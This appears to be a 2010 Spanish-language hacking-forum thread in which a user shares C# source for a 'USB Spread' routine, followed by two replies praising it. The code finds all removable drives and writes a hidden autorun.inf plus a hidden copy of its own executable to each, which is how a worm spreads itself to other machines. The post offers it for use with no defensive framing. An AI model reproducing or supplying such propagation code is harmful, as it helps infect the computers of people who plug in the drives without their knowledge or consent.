Página 1 de 1

USB Spread [C#]

Publicado: 20 May 2010, 01:44
por ANTRAX
A pedido de Sanukode. Les dejo este Spread USB en C#

Código: Seleccionar todo

using System;
using System.Net;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Windows.Forms;

class USBspread
{


static void Main(string[] args)
{

try
{
System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives
foreach (System.IO.DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf
sw.WriteLine("[autorun]");
sw.WriteLine("open=autorun.exe");
sw.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden

string appPath = System.Diagnostics.Process.GetCurrentProcess().Mai nModule.FileName;

try
{
File.Copy(appPath, drive.Name + "autorun.exe", true); // We copy our exe into the removable drive
File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden); // attribute hidden

}
finally
{
Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //");
}
}
else
{
Console.WriteLine("Not Removable drive : {0}", drive.Name);
}
}

}
catch (Exception e)
{

Console.WriteLine(e.ToString());
}
}
}

Re: USB Spread [C#]

Publicado: 20 May 2010, 01:48
por Sanu
Exelente codigo simple sin sniffear unidades ni depender de referencias ... q emocion =)

Re: USB Spread [C#]

Publicado: 03 Jul 2010, 06:13
por siddexter
gracias Antrax ya tenia rato queriendo un ejemplo de estos